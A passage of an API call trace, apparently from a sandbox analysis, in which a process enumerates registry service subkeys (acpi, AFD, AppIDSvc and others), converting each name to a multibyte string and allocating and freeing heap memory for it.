Size=0x80) returned 0x21f2eb0 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.756] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.756] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1ad8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0224.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.756] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.757] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.757] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.757] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0224.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.758] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0224.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0224.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.759] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.760] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0224.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.761] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.761] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0224.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.761] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0224.762] 